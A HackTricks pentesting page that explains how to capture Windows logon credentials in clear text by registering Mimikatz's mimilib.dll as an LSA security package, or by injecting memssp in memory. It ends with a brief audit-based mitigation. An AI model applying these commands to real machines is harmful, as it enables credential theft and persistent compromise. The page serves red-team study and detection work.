Custom SSP - HackTricks

# Custom SSP

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### Custom SSP

Learn what is a SSP (Security Support Provider) here.
You can create you own SSP to capture in clear text the credentials used to access the machine.

#### Mimilib

You can use the `mimilib.dll` binary provided by Mimikatz. This will log inside a file all the credentials in clear text.
Drop the dll in `C:\Windows\System32\`
Get a list existing LSA Security Packages:

    PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

    HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
        Security Packages    REG_MULTI_SZ    kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u

Add `mimilib.dll` to the Security Support Provider list (Security Packages):

    reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"

And after a reboot all credentials can be found in clear text in `C:\Windows\System32\kiwissp.log`

#### In memory

You can also inject this in memory directly using Mimikatz (notice that it could be a little bit unstable/not working):

    privilege::debug
    misc::memssp

This won't survive reboots.

#### Mitigation

Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages`

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> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.